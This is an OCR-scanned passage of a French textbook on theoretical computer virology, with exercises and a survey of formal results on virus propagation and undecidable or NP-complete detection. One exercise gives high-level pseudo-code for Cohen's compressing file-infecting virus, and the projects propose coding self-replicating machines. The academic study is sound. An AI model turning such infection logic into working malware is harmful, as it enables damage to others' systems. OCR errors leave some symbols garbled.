1. En reprenant les notations de Fred Cohen pour décrire une machine de
Turing (voir section 3.2.1), établir les expressions décrivant la situation a
Pinstant ¢ + 1 en fonction de ’état général de M & Iinstant ¢. Exprimer
également ce que signifient les événements « M calcule & Uinstant ¢ »
(autrement dit, la machine n’est pas arrétée) et « M calcule ».

2. Démontrer le théoreme 7 (indication : considérer U = UU™, la définition
d’un ensemble viral et le fait que (M,U) € V).

3. Démontrer le théoréme 10. Pour cela, le lecteur considérera un virus
doté d’une signature (voir la définition dans le chapitre 5). A chaque
duplication, le virus augmente cette signature d’un caractére aléatoire.

4. Démontrer pourquoi la fonction identité est, au regard de la définition 29,
du type infection bénigne. De méme, démontrer en quoi les fonctions
récursives primitives constantes appartiennent & la classe épéienne.

5. Dans [1], une variante du virus de Fred Cohen assurant la compression
des fichiers est donnée. En voici le pseudo-code :

main:=
{
charge_finale();
décompresser partie compressée du programme;
submain() ;
infection();

}

charge_finale:=
{

si faux alors arréter fin si

¥

infection:=
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{

si fichier-exécutable alors

choisir fichier exécutable aléatoire;

renommer procédure main en submain;

compresser fichier;

accoler fichier compressé & la suite du virus;
fin si

}

Un programme infecté P trouve un exécutable sain F, le compresse et
I'ajoute & la suite de P pour former un exécutable infecté 1. I1 décom-
presse ensuite le reste de lui-méme dans un fichier temporaire et 'exécute
normalement. Quand I est & son tour exécuté, il cherche de la méme ma-
niére un exécutable E’ A infecter, avant de décompresser E et de l'exé-
cuter. Expliquer pourquoi ce virus n’est pas absolument isolable (utiliser
la proposition 13).

6. Prouver le théoréme 13 en utilisant un programme contradictoire simi-
laire au programme CV de la section 3.2.5. 1l s’agit de montrer que, s’il
existe une procédure D de décision permettant de déterminer si deux pro-
grammes p; et po sont des formes équivalentes, ayant évoluées & partir
d’un programme p, alors D peut étre mise en défaut.

7. Etudier Particle de D. Spinellis [210], puis implémenter et tester 1’algo-
rithme de I’annexe II de cet article. Comprendre pourquoi et comment
ce programme illustre bien la démonstration du théoréme démontré dans
cet article.

Projets d’études

Programmation de la machine du théoréme 8

Dans sa these [51, pp 94-95], Fred Cohen a donné le pseudo-code d’une
machine de Turing M pour laquelle le plus petit ensemble viral PPEV(M) est
un singleton. Le but de ce projet, qui devrait occuper un éléve pendant une
& trois semaines, selon sa maitrise de la programmation, est d’implémenter
cette machine de Turing (langage C ou sous Mathematica). Une visualisation
graphique du processus de duplication de la séquence pourra étre envisagée.

Dans le cadre d’un projet plus long, la programmation des machines dé-
crites par les théorémes 9 et 10 sera éealement envisagée. Dans le cas du
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théoréme 10, indiquez quel est la technique polymorphe qui est ainsi réalisée
(voir chapitre 6).

Programmation de la machine du théoréme 11

L’objectif est de programmer, avec une visualisation graphique du proces-
sus de duplication, la machine décrite par Fred Cohen [51, pp 101-103], pour
laquelle une séquence arbitrairement donnée est un virus. Durée du projet :
environ une semaine.



4

Résultats théoriques depuis
Cohen (1989-2007)

4.1 Introduction

Si la thése et les travaux de Fred Cohen ont ouvert la voie de la virologie
moderne, force est de constater qu’ils ont suscité une recherche fondamentale
trés limitée, dans ce domaine. Depuis 1986, on compte moins d’une dizaine de
papiers théoriques consacrés la virologie informatique. Cela est d’autant plus
surprenant que les problémes ouverts ne manquent pas [102] et augmentent
en nombre [103]. Deux principales raisons expliquent cela :

— la virologie informatique théorique requiert de manipuler des concepts
mathématiques évolués. Cela peut rebuter un étudiant ou un chercheur
en informatique qui n’a pas forcément la culture mathématique né-
cessaire. D’un autre co6té, les « matheux » intéressés par un domaine
appliqué comme la virologie, fat-elle théorique, ne sont pas trés nom-
breux ;

— la communauté antivirale a toujours ceuvré (voir la préface a la premiére
édition) contre la recherche en général dans le domaine de la virologie,
surtout quand cette derniére traite de sujets « désagréables » touchant
a la complexité de la détection virale.

Nous avons noté depuis 2007 un certain frémissement dans le domaine de la
recherche. La création d’un journal de recherche! consacré a cette discipline
y a probablement fortement contribué, de méme que la création, en 2005, de
la conférence Workshop in Theoretical Computer Virology (WTCV) a Nancy

! J'en profite pour remercier les éditions Springer-Verlag Paris pour avoir accepté de
créer une revue de recherche en virologie informatique fondamentale et appliquée : le
Journal in Computer Virology. Le souhait est que cette revue de recherche soit un
espace scientifique qui non seulement attire de jeunes chercheurs mais incite également
des chercheurs confirmés a travailler et & publier dans ce domaine.
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par Jean-Yves Marion. Mais ce frémissement est encore trop timide pour
que nous nous en réjouissions vraiment et il faut, selon la formule consacrée,
laisser le temps au temps.

Il est donc intéressant de présenter les quelques résultats publiés depuis
les travaux de Fred Cohen et I'unique article de Leonard Adleman, parmi les
plus significatifs. Espérons que le lecteur, étudiant en second ou troisiéme
cycle, y trouvera une source future d’inspiration et U'incitera & se lancer dans
la recherche en virologie informatique théorique.

Ces résultats — du moins les principaux — sont présentés sans véritable fil
conducteur si ce n’est celui de la chronologie de leur publication. 1l sera ainsi
intéressant de remarquer comment évolue une recherche dans un domaine
donné et comment les chercheurs en influencent d’autres. Dans la mesure du
possible, les démonstrations ont été données ou, au minimum, leurs princi-
pales étapes. Certains des articles originaux sont disponibles sur le CDROM
fourni avec cet ouvrage.

4.2 L’ére post-Fred Cohen : 1989-2000

Les travaux de Fred Cohen sont restés relativement peu connus et peu
de chercheurs ont publié 4 sa suite. Il est vrai que la menace virale, jusqu’en
2000, est restée relativement réduite et n’a donc pas suscité un grand inté-
rét. Dans le domaine de la sécurité, cette période est surtout marquée par
I'ouverture de la cryptologie vers le monde universitaire.

De 1989 a 2000, on ne dénombre que de rares études théoriques en viro-
logie informatique, du moins si ’on considére celle représentant un intérét
scientifique.

4.2.1 Travaux de Gleissner

En 1989, Winfried Gleissner de I'université de Munich publia une trés
intéressante étude sur la modélisation mathématique de la propagation virale
[128]. Cette étude est surprenante & plus d’un titre. Outre I'élégance des outils
mathématiques utilisés, elle concerne une problématique — la propagation
virale — qui en 1989 était loin d’étre d’actualité?. En fait, en étudiant Particle
de Gleissner, il est clair que c¢’est la theése de Fred Cohen [51], ainsi que les
expériences de propagation menées par ce dernier (voir section 3.2.6) qui ont
inspiré cette étude.

2 Les premiéres « grandes » épidémies virales réelles — en écartant les hystéries organisées
[206. Chap. 11 — poseront le probléme cina 3 six ans plus tard.
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Gleissner a établi une formule permettant de décrire mathématiquement
le processus de propagation d’un virus. Il a établi deux formules de récurrence
décrivant respectivement :

1. la probabilité d’obtenir un état viral donné, & partir d’'un état initial,
aprés avoir exécuté k programmes exactement (commande systéme, ap-
plication, programme écrit par un utilisateur...);

2. le nombre total des chemins d’infection permettant & partir d'un état
viral initial un état viral maximal. Pour cette formule, 'auteur a montré
qu’elle ne pouvait en pratique étre exploitée que pour un unique compte
et un nombre limité de programmes dans ce compte.

La principale conclusion de cette étude montre que le processus d’infection
ne s’arréte en fait que lorsque tous les programmes pouvant étre infectés le
sont effectivement et réalisent alors ’état viral maximal. Ce résultat peut de
nos jours sembler trivial. En réalité et contrairement aux apparences, il est
loin d’étre aussi intuitif.

Nous n’expliciterons pas ces formules assez compliquées et nécessitant des
notations assez lourdes — complexité du probléme oblige. Nous renvoyons
le lecteur & Dlarticle original dont il pourra au passage apprécier ’élégance
mathématique. Nous allons seulement résumer les principales conclusions
faites a partir de ces formules.

La figure 4.1 montre 'adéquation entre le modéle théorique établi par
Gleissner et la réalité expérimentale.

ane

Fic. 4.1. Comparaison entre le modéle théorique (3 gauche) et Uinfection réelle d’un
systéme (& droite). Le systéme considéré contient un seul compte utilisateur et 80 pro-
grammes (en abscisse, le nombre d’appels de programmes et en ordonnée le pourcentage
de proerammes infectés).
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Dans le cas du modeéle théorique (figure 4.1 a gauche), 80 programmes sont
présents et ’état viral initial est constitué d’un unique programme infecté. Il
suffit de 378 appels de programmes (chacun d’entre eux étant exécuté avec
un probabilité de %) pour atteindre ’état viral maximal. Dans le cas d’une
infection réelle (figure 4.1 & droite), les résultats sont similaires mais ’état
viral maximal est atteint apreés 465 appels de programmes (en moyenne).

D’un point de vue pratique, cette étude montre qu’a raison de dix ap-
pels de programmes par heure, il suffit de 40 heures pour que tous les pro-
grammes soient infectés (du fait de la nature exponentielle de la propa-
gation). Plus généralement, Gleissner a montré que m programmes seront
infectés en moyenne aprés bm appels.

L’intérét de cette étude réside dans la mise en évidence de la nature
exponentielle, dés 1989, de la propagation virale. Il faudra attendre le début
des années 2000 [174,175,199,229] pour que des résultats similaires pour les
vers (propagation exponentielle).

4.2.2 La formalisation de Leitold

En 1996, lors de la conférence Virus Bulletin [160], Ferenc Leitold de
I’Université de Budapest, en Hongrie, généralise le modéle fondateur de Fred
Cohen et confirme le résultat d’indécidabilité de détection antivirale. En fait,
certaines critiques, non fondées et proches de 'argutie, ont tenté de relativiser
les travaux de Cohen et l'universalité de son modéle. En ce sens, et méme s’ils
ne sont pas parfaitement aboutis, les travaux de Ferenc Leitold ont prouvé
I'universalité et la validité de ces résultats, quel que soit le modéle considéré.
Les principaux articles de F. Leitold sont disponibles sur le CDROM fourni
avec le présent ouvrage.

Ferenc Leitold a d’abord étudié d’autres modéles de calcul que la ma-
chine de Turing (modeéle TM), considérée par Fred Cohen : le modéle RAM
(Random Access Machine) [135] et le modéle RASPM (Random Access Sto-
red Program Machine) [4]. La différence entre ces deux visions réside dans
I’absence ou la présence d’une mémoire et qui détermine la capacité pour
un programme & se modifier lui-méme. Cette étude a été 'occasion de les
comparer & celui de la machine de Turing. En particulier, les limitations
respectives identifiées pour ces trois modéles ont amené tout naturellement
F. Leitold & proposer un modéle plus général issu des précédents : le mo-
dele RASPM/ABS (Random Access Stored Program Machine with Attached
Background Storage) [160].

Les autres modéles ne permettent pas en effet — méme sous leurs variantes
connues — du moins facilement. de décrire plus d’'un programme a la fois.
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Or la problématique virale est beaucoup plus complexe que cela : un virus
évolue dans un systéme donné (comparer avec le résultat du théoreme 11)
et donc par définition interagit avec d’autres programmes.

Pour décrire ces interactions, il est donc nécessaire de considérer un méca-
nisme additionnel absent des modeéles précédents : une zone spécifique dans
laquelle des programmes ou des données peuvent étre stockés. Leitold nomme
cela la bande de stockage de contexte (ou Background Storage Tape). Tout
programme actif peut en outre accéder en lecture/écriture a cette bande.

Définition 35 (RASPM/ABS) [160] Une machine G de type RASPM/ABS
est définie par le sextuplet G = (V,U, T, f,q, M) ou
~ V est un ensemble non vide appelé alphabet (utilisés dans les bandes
d’entrée, de sortie, de bande de stockage de contexte et la mémoire; ces
bandes sont de longueur infinie),
~ U est un sous-ensemble non vide d’instructions (opcodes) et donc U C
V*,
— T est un ensemble non vide décrivant les actions possibles du processeur,
— f est une fonction unique telle que f : U — T est définie,
— q est la valeur initiale du pointeur d’instruction,
— M est la valeur initiale de la mémoire.

Le lecteur pourra comparer a titre d’exercice (voir en fin de chapitre) ce
modéle avec celui de la machine de Turing. De la méme maniére, Leitold
généralise plus avant son modeéle en définissant le modéle RASPM/SABS
(Random Access Stored Program Machine with Several Attached Background
Storage) dans lequel plusieurs bandes de stockage de contexte sont utilisées.
Pour cela, 'ensemble 7' contient une instruction additionnelle permettant
de sélectionner la bande de contexte active (instruction SETDRIVE). Cette
généralisation permet une plus grande richesse de modélisation et certaines
classes de virus (par exemple celle des virus compagnons présentée dans le
chapitre 9) sont mieux définies qu’elles ne le sont dans le modéle TM de Fred
Cohen.

Plusieurs résultats de complexité sont alors établis par F. Leitold pour
prouver 'universalité de son modéle.

Théoréme 19 [160]
— Les modéles RASPM/ABS et RASPM/SABS sont équivalents.
— Toute machine RASPM/ABS peut étre simulée, a un facteur constant
de coiit prés, par une machine RASPM.
— Les modéles TM et RASPM/ABS sont polynomialement équivalents.

Démonstration. Voir les preuves dans [160. opp. 9-111 O
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Une fois ces modéles et leur équivalence établis, Leitold a considéré le
modele RASPM/ABS pour décrire un systéme d’exploitation. Cela lui a en-
suite permis de décrire plus finement? les principales classes virales connues.
En particulier, les notions de virus machine-spécifiques ainsi que les modes
de propagation (direct ou indirect) virale machine-spécifiques ont été défi-
nies. Enfin, concernant le probléme de la détection virale, le résultat de Fred
Cohen a été redémontré.

Théoréme 20 [160] La détection virale est indécidable dans le cadre du
modéle RASPM/ABS.

Le lecteur démontrera ce théoréme a titre d’exercice (voir en fin de chapitre).

Un peu plus tard, Leitold s’est attaché & considérer des instances ré-
duites du probléeme de détection virale [161]. Il a été le premier & montrer,
a partir du modele théorique RASPM/ABS, comment, en pratique, détecter
efficacement certaines classes réduites de virus (sans cependant les identifier
clairement) et & proposer des techniques de détection virale. Cela ’a conduit
également & définir le premier les notions de fausses alarmes, quelques mois
avant Chess et White [48]. Malheureusement, si le concept a été bien défini,
son étude s’est limitée & une vision empirique et limitée. Depuis 2001, Ferenc
Leitold étudie les techniques de détection et les protocoles d’évaluation des
produits antivirus.

4.3 Virus indétectable et détection souple

D. Chess et S. White [48] ont partiellement complété les résultats de Fred
Cohen en définissant la notion de détection souple (voir section 3.2.4). Ils
ont montré que « non seulement, il n’existe pas de programme permettant
de détecter tous les virus sans fausse alarme mais également qu’il existe des
virus tels que, méme disposant d’une de leurs copies et l’ayant analysée com-
plétement, il reste toujours impossible d’écrire un programme détectant ce
virus particulier, ce sans fausses alarmes »*. lls sont également parvenus a
étendre ce résultat ainsi que celui de Fred Cohen (théoréme 12) en considé-
rant la définition suivante, moins contraignante, de la notion de détection.

3 A ce titre, il est dommage que le modéle RASPM/ABS n’ait pas été exploité de ma-
niére plus aboutie par son auteur. Ce modéle permet en effet de modéliser de maniére
plus riche des classes virales comme, par exemple, les virus compagnons, classes que
F. Leitold a négligées.

4 Les auteurs se placent bien évidemment dans le cas d’un virus polymorphe (ensemble
viral non réduit & un sineleton).
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Définition 36 [48/ (Détection souple)

Un algorithme (une machine de Turing) A détecte de facon souple un virus
v, si el seulement si, pour tout programme p, A(p) se termine, retournant
« vrai » sip est infecté par v et retournant autre chose que « vrai» sip nest
pas infecté par un quelcongue virus. L’algorithme A peut éventuellement ne
retourner aucun résultat du tout, en se terminant obligatoirement toutefois,
dans le cas de programmes infectés par d’autres virus que v.

La détection souple de Chess et White autorise donc certaines fausses alarmes
(relativement au virus v) : des programmes infectés par d’autres virus que v
sont détectés par A; mais également des fichiers absolument sains (exempts
de tout virus).

Si le principal intérét de I'article de Chess et White est d’avoir esquissé un
modéle de détection pratique dérivé cependant du résultat d’indécidabilité de
Fred Cohen, en revanche ce travail n’est qu'une ébauche trés incompléte. La
notion de non-détection reste sous-entendue et les exemples de pseudo-codes
de virus indétectables, donnés par les auteurs, restent triviaux quoique va-
lides, ce qu’il reconnaissent dans leur article. Au fond, ces exemples prouvent
juste qu’il existe des virus qui peuvent rester indétectables quel que soit
I'algorithme de détection utilisé, simplement lorsque ces virus polymorphes
« évoluent » vers des codes contenant une instance du détecteur du virus.
Ce n’est qu’une extension au cas polymorphe du résultat de Cohen [51].

Néanmoins, il serait injuste de nier 'importance de 'article de Chess et
White. 1l a permis de sortir, en quelque sorte, de la sclérose intellectuelle
créée par le résultat d’indécidabilité de Cohen. Ils ont montré qu’a coté
d’une réalité théorique incontournable, il y avait un espoir d’'un point de vue
pratique. Autrement dit, si un probléme dans ’absolu n’a pas de solution
parfaite, il est cependant suffisant en pratique d’avoir une solution imparfaite
mais relativement efficace pour les besoins réels. Conscients des limitations
de leur approche, les auteurs ont suggéré la nécessité d’établir un modéle
plus rigoureux de la détection au sens souple du terme. Ce modéle a été
établi en 2007 [107] et est présenté dans [104].

4.4 Complexité de la détection des virus polymorphes

La détection virale la plus utilisée est la recherche de motifs fixes appelés
signatures (voir section 6.2.1 pour la définition de ce terme). Plus générale-
ment, les techniques d’analyse de forme recherchent directement ou indirec-
tement des caractéristiques fixes représentables par des chaines d’octets, a la
structure plus ou moins comnlexe selon la techniaue utilisée. Cette recherche
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utilise généralement ’algorithme de Boyer-Moore [33] dont la complexité né-
cessite V + S étapes pour une signature de taille S dans un fichier de taille
N (en octets).

Deés le début des années 1990, les programmeurs de virus ont alors mis en
ceuvre des techniques de polymorphisme, c’est-a-dire des techniques visant
& limiter le plus possible la présence et l'utilisation de séquences d’octets
fixes (voir section 5.4.6). Si les premiéres techniques de polymorphisme se
sont révélées assez faibles, elles ont vite évolué vers des techniques de plus
en plus complexes qui parviennent encore a dérouter assez facilement les
antivirus actuels. La détection des virus polymorphes est par conséquent un
probléme dont il est essentiel de déterminer la complexité générale. Chaque
nouvelle instance de ce probléme contrarie chaque fois un peu plus les éditeurs
d’antivirus. On peut alors supposer que le probléme spécifique consistant &
détecter des virus polymorphes est un probléme difficile. Mais que doit-on
entendre par difficile? Ce probléme a été étudié par D. Spinellis en 2003
[210] en réduisant le probléeme de la satisfaisabilité des formules logiques
(dénommé probléme SAT ; ¢’est un probléme NP-complet) au probléme de la
détection des virus polymorphes. L’année suivante, Z. Zuo et M. Zhou [230]
ont généralisé le résultat de Spinellis, en utilisant la notion de fonctions
récursives (voir section 4.5).

4.4.1 Le probléme SAT

Le probléme SAT (pour satisfaisabilité) consiste & déterminer si une for-
mule booléenne est satisfaisable ou non. Définissons tout d’abord ce qu’est
une formule booléenne.

Définition 37 Une formule booléenne ¢ est une expression composée de va-
riables booléennes x1,xo,... et de connecteurs booléens V (OU, wedge (ET),
- (NON. Une telle formule sera donc soit une simple variable booléenne, soit
une expression de la forme —¢, soit une expression de la forme ¢1V @0 ou soil
encore une expression de la forme g1 N\ ¢a, ot §, 1 et ¢pa sont des formules
booléennes.

Les variables booléennes valent soit 0 ou 1, ou encore FAUX ou VRAI. Nous
noterons indifféremment —z; ou T; pour désigner la négation de la variable
i

Définition 38 On appelle interprétation d’une formule booléenne ¢, un
ensemble de valeurs (vg,vi,...) pour les variables de cette formule avec
v; € {0,1}. Une interprétation est dile satisfaisante si la formule ¢ vaul
1 (est vraie) lorsque x; = v;.
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Donnons un exemple pour illustrer les deux définitions.

Exemple 4 Soit la formule ¢ a trois variables :
¢ = (xl VxoV —\.Tg) A (331 vV —|$2) A (—\.Tl \Y —|$2—|$3).

Linterprétation (r1 = 1,290 = 1,23 = 0) est satisfaisante pour ¢. En re-
vanche, Uinterprétation (x1 = 0,z = 1,Vx3) ne lest pas.

Une formule booléenne existe sous deux formes équivalentes : une forme dite
normale conjonctive dont la structure générale est ¢ = A", C; ou les Cj
désignent des clauses logiques constituées de la disjonction d’une ou plusieurs
variables booléennes notées (x;, V x;, V ...x;,); une forme dite normale
disjonctive dont la structure générale est ¢ = A" D; on les D; désignent
des clauses logiques constituées de la conjonction d’une ou plusieurs variables
booléennes notées (z;, A z4, A ...z, ). Il est & noter que le passage d'une
forme & une autre posséde une complexité mémoire exponentielle (en pire
cas; voir [182, pp. 75-76] pour la démonstration).

Définition 39 Le probléme SAT consiste a déterminer si une formule boo-
léenne ¢, sous sa forme normale conjonctive, est satisfaisable ou non.

Notons que le choix de la forme normale conjonctive est motivé par le fait
que c’est la représentation qui décrit le mieux le probléme SAT : pour que
¢ soit satisfaisable, il suffit que chaque clause C; soit vraie.

Le probléme est alors de déterminer si une formule booléenne est satis-
faisable ou non. En pratique, lorsque le nombre de variables est limité, il est
toujours possible de répondre a la question. Pour une formule booléenne &
n variables, il suflit de parcourir les 2" interprétations et d’en exhiber une
pour laquelle la formule est satisfaite. Mais dés que le nombre de variables
devient trop important, cette approche n’est plus possible. En existe-il une
autre permettant de faire mieux que 'approche exploratoire 7 La réponse est
malheureusement négative, comme le prouve le théoréme suivant.

Théoréme 21 Le probléme SAT est NP-complet.

Le lecteur pourra consulter [182, Chap. 9| pour une démonstration de ce
célébre résultat). Cela signifie que parmi tous les problémes de NP3, le pro-
bléme SAT figure parmi les plus difficiles (voir chapitre précédent).

5 Rappelons que le terme NP (Non deterministic Polynomial) désigne les problémes ef-
fectivement calculables par une machine de Turing non déterministe. Cela signifie que
la comblexité du probléme est potentiellement, exnonentielle.
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4.4.2 Le résultat de Spinellis

D. Spinellis s’est intéressé au probléme de la détection des virus de taille
finie subissant une mutation au cours du processus de duplication (voir la
définition de Fred Cohen dans la section 3.2.2). Il s’agit donc d’un cas par-
ticulier de polymorphisme (la taille étant finie). L’approche de Spinellis a
été de montrer qu’un détecteur D pour un virus mutant donné V peut étre
utilisé pour résoudre le probléme SAT. Or, dans la section précédente, il a
été rappelé que ce probléme est NP-complet.

Théoréme 22 Le probleme de la détection d’un virus polymorphe de taille
finie est un probléme NP-complet.

Démontrons ce théoréme (nous reprenons ici, & quelques différences de no-
tation prés, la preuve originale donnée dans [210]).

Démonstration. Supposons que D soit capable de déterminer de maniére
sire et en temps polynomial si un programme P est une version mutée du
virus V. Le but est de considérer D comme un oracle® pour déterminer la
satisfaisabilité d’une formule booléenne I’ a n variables. Rappelons que F
posséde la forme suivante :

F=(Ta,, V%ay, VZays) ANMTagy VTagz) Aee o (Ta,, Voo )AL

avec 0 < a;; < n. Par conséquent, D constituerait — s’il existait — une
solution en temps polynomial du probléme SAT.
Une formule de type de celle de F' est tout d’abord utilisée pour créer
un virus archétype A et un phénotype de satisfaisabilité P caractérisant une
instance possible mutée de A. En considérant qu’un virus peut étre décrit
par un triplet (f,s,c) avec les notations suivantes :
— f est la fonction de duplication et de calcul (déterminer si F' est satis-
faite ou non avec c),

— s est une valeur booléenne ( Vrai ou Faur) indiquant si une instance du
virus a calculé une solution pour F,

— ¢ est un entier décrivant (codant) les valeurs possibles en entrée de F
(autrement dit 0 < ¢ < 2" et ¢ = (20, Z1,.--,Tp—1))-

% Un oracle, plus exactement appelé machine de Turing avec oracle, est une machine de
Turing M dotée d’une bande de calcul supplémentaire, appelée bande oracle, d’'un état
g7 et de deux états gnon et ggyj. Soit maintenant A tout langage sur un alphabet X.
Chaque fois que M rencontre I'état qo pour une chaine quelconque z € X sur la bande
oracle, alors M passe dans I’état doui si z € A ou dans I'état gnon si z ¢ A. En d’autres
termes. il s’agit d’une modélisation de la notion traditionnelle d’oracle.
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La fonction f associe & tout triplet (f,s,c) un triplet (f,s’, ') de la maniére
suivante’ :

A fys,0).(f,sV F,si ¢ =w" alors ¢ sinon ¢ + 1).

La (i+1)-éme génération du virus est produite en appliquant la fonction f a
la i-éme génération. Autrement dit, les étapes suivantes sont successivement
réalisées :

1. évaluation de F(c) avec ¢ = (29, Z1,...,ZTn-1),

2. incrémenter ¢ (avec ¢ < 27),

3. calculer sV F'(c).

Maintenant, D doit décider si le virus archétype A défini par (f, Faux,0),
par 'application successive de la fonction f, produira jamais la mutation P
deéfinie par le triplet (f, Vrai, 2"). 1l s’agit donc pour D de déterminer si une
des mutations de A satisfera la formule F' (notons que cela peut se produire
prématurément pour un ¢ < 2™ mais comme la valeur booléenne Vrai est
un élément absorbant pour l'opération logique V, la notation précédente est
utilisée).

Nous avons ainsi montré que si un tel détecteur D existait (en d’autres
termes, capable d’identifier qu'un virus est une forme mutée d’'une autre et,
ce, de maniére systématique), alors il pourrait étre utilisé pour résoudre le
probéme SAT en temps polynomial. D’ou le résultat. O

A titre d’illustration (tirée de [210]), considérons la formule F' = (z9Vz1)ATo.
La fonction f est alors définie par :

)\(f,S,C).(f,S \4 (J:O \ .I‘l) AT, c+ 1)
Le virus archétype A est donné par :
(A(fa 570)'(f7 sV (J:O \ .I‘l) NZo,Cc+ 1)7Faux70)7

tandis que le phénotype P caractérisant la satisfaisabilité (et donc la forme
mutée) est défini par :

(\(f,5,0)-(f,5 V (20 V 1) AT, ¢+ 1), Vrai, 4).

Le lecteur vérifiera que A génére une mutation satisfaisant P aprés quatre
générations.

" La démonstration initiale utilise la notation lambda de Church pour définir des fonctions
partielles. Ainsi Az.f(x) désigne la fonction qui & x associe f(x).
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Le lecteur trouvera dans [210, Annexe II| un exemple écrit en langage
C, de programme illustrant la démonstration précédente. Bien évidemment,
le programme proposé n’est pas réellement un virus mais simule en partie
et trivialement la variabilité du code, par les différentes « mutations » du
code global (illustrées par les différentes valeurs de ¢ remplissant le tableau
z[N]). Dans un contexte viral réel, Uentier ¢ peut étre décrit par un entier de
Godel ep (voir chapitre 2) dont la décomposition binaire satisfait la formule
F'. La formule F' est elle-méme calculée & partir d’un entier de Gédel e4 ne
satisfaisant pas F.

Le résultat de Spinellis est intéressant et important car il prouve la com-
plexité générale du probléme de la détection des virus polymorphes. Cepen-
dant, il est nécessaire de faire quelques remarques :

— Spinellis ne considére qu’un cas restreint du polymorphisme : quand
la, souche initiale A (et donc la fonction de duplication f) est connue.
Nous verrons dans la section 4.5 comment se généralise ce résultat.

— D’autres programmes que P peuvent « satisfaire » la formule F sans
pour autant provenir par mutation de A (le poids de F, c’est-a-dire le
nombre de valeurs ¢ telle que F'(c) soit vraie, n’est pas nécessairement
égal & 1). Cela illustre la notion de fausse alarme (ou faux positifs).

4.5 Résultats de Z. Zuo et M. Zhou

En 2004, les Chinois Zhihong Zuo et Mingtian Zhou ont repris les travaux
de Cohen et surtout d’Adleman [230,231| dont ils ont repris le formalisme
fondé sur les fonctions récursives, pour identifier de nouvelles classes virales
et donner de nouveux résultats de complexité concernant la détection de
ces classes. En 2005, ces mémes chercheurs ont étudié plus en détail les
problémes de complexité en temps de virus et établi des résultats intéressants
dont certaines implications pratiques ne seront identifiées qu'un peu plus
tard [20] [104, Section 8.2.3].

4.5.1 Généralisation des travaux d’Adleman

Dans leur article de 2004, Z. Zuo et M. Zhou ont cherché, en utilisant les
fonctions récursives introduites par L. Adleman, & définir plus rigoureuse-
ment les définitions virales existantes et, ensuite, & identifier d’autres classes
possibles de virus. Dans ce dernier cas, ils ont démontré que ces classes
étaient non vides. Alors que D. Spinellis s’était limité & des virus de taille
bornée, Zuo et Zhou, quant & eux, se sont débarrassés de cette contrainte
pour considérer des virus de taille infinie.
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Précisons tout d’abord le formalisme de Zuo et Zhou en explicitant leurs
notations®. Les ensembles N et S désignent respectivement ’ensemble des
entiers naturels et I’ensemble de toutes les suites finies de nombres entiers.

Soient $1,s92,...,8, des éléments de S, la notation < s1,$2,...,8, >
désigne une fonction calculable injective de S™ vers N dont la fonction réci-
proque est également calculable. Et si I'on considére une fonction partielle

calculable f : N — N, alors f(s1,$2,...,8,) désignera de maniére abré-
gée f(< s1,52,...,8, >). Cette notation s’étend a tout n-uplets d’entiers
11589, - -« 5 lp-

Pour une suite donnée p = (i1,42,...,0k,...,%,) € S, on note plji/ix]
la suite p dans laquelle le terme i; a été remplacé par jg, soit p[jr/ix] =
(11,82« s Jky - - - 5 In ). S1 Pélément iy de la suite p est calculé par une fonction

calculable v — ce qui revient a calculer p[v(ix)/ix] —, on adopte la notation
abrégée p[v(iy)] dans laquelle le symbole souligné désigne 1’élément calculé.
Dans le cas général on plusieurs éléments sont calculés en méme temps dans
p, alors on adopte la notation p[vq (ix, ), v2(ik, ), - - ., vi(ix,)].

On désigne par ¢p(d,p) une fonction calculée par un programme P sur
I'environnement (d,p), ot d et p désignent respectivement les données de
I'environnement (en y incluant ’horloge, les mémoires de masse et les struc-
tures assimilées) et les programmes (ceux du systéme d’exploitation inclus).
Cet environnement constitue en réalité le systéme d’exploitation élargi a
lactivité du ou des utilisateurs. En considérant le codage de Gédel e (voir
section 2.2.1) du programme P, on écrit alors ¢.(d,p). Son domaine de dé-
finition est noté W, tandis que son espace image est noté F.,.

Exploration des classes virales

Une fois ces quelques notations fixées, Zuo et Zhou ont formalisé, d'une
maniére certes plus générale, des classes de virus connues. En ce sens, leurs
travaux sont plus complets et aboutis que ceux d’Adleman qui n’avait fait
qu’introduire le formalisme sans I’exploiter & fond. Donnons les principales
définitions établies par les deux auteurs [230]. Considérons tout d’abord deux
classes connues de virus, formalisées rigoureusement.

Définition 40 (Virus non résident)
Une fonction récursive totale v est appelée virus non résident si pour tout
programme t, nous avons :

8 Pour les notions mathématiques liées & ces notations, le lecteur consultera les chapitres 2
et 3 ou bien [1951.
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D(d,p), st T(d,p) (i) (Fonctionnalité ajoutée)
1. ypy(d,p) = § dild, plo(S(p))]) si I(d,p) (ii) (Infection)
¢i(d, p), sinon (#i7) (Imitation)

2. T(d,p) et I(d,p) sont deux prédicats résursifs tels qu’il n'existe aucune
valeur < d,p > les satisfaisant simultanément. De plus, les deuz fonctions
D(d,p) et S(p) sont récursives.

3. L’ensemble {< d,p >: ~(T(d,p) V I(d,p))} est infini.

Les deux prédicats T'(d, p) et I(d,p) représentent respectivement les condi-
tions de déclenchement de charge finale et d’infection respectivement. Lorsque
le prédicat T'(d,p) est vrai, le virus exécute la charge finale D(d,p) tandis
que lorsque le prédicat I(d,p) est vrai, alors le virus choisit un programme
cible au moyen de la fonction de sélection® S(p), puis l'infecte et finalement
exécute le programme original 1. Notons que les auteurs définissent le noyau
d’un virus (ici dans le cas non résident) comme ’ensemble constitué des fonc-
tions D(d,p) et S(p) et des prédicats 1'(d,p) et I(d,p). Dans le cas général,
le noyau désigne ’ensemble des fonctions et prédicats déterminant le virus
de maniére univoque.

Notons que cette définition est assez restrictive. En effet, le second point
interdit & un virus d’infecter ET de délivrer une charge finale (offensive ou
bénéfique) a la fois. L'expérience des cas rencontrés (voir aussi la seconde
partie de ouvrage consacrée a la partie algorithmique) montre que ce cas
existe malgré tout. Le point 3 de la définition est important car il impose
qu'un programme infecté « imite » le programme final la plupart du temps.

Pour les autres définitions, ces remarques sont les mémes. Tout comme le
font les auteurs, nous ne donnerons que le premier point 1 et nous omettrons
les deux autres.

Définition 41 (Virus par écrasement'® non résident)

Une fonction récursive totale v est appelée virus par écrasement non résident
s4 pour tout programme i, NOus aVONS :

D(d,p), si T'(d, p)
¢v(i)(dap) = {< d,;;[v(S(p))] >, sinon g

Définition 42 (Virus résident)
Le couple (v, sys) constitué d’une fonction récursive totale v et d’un ap-
pel systéme sys (également une fonction récursive) est appelé virus résident

9 D’un point de vue algorithmique, la fonction de sélection S(p) représente la fonction de
recherche des cibles 4 infecter (voir la seconde partie de cet ouvrage).
10 Voir la section 5.4 pour la définition de ce tvpe de virus.
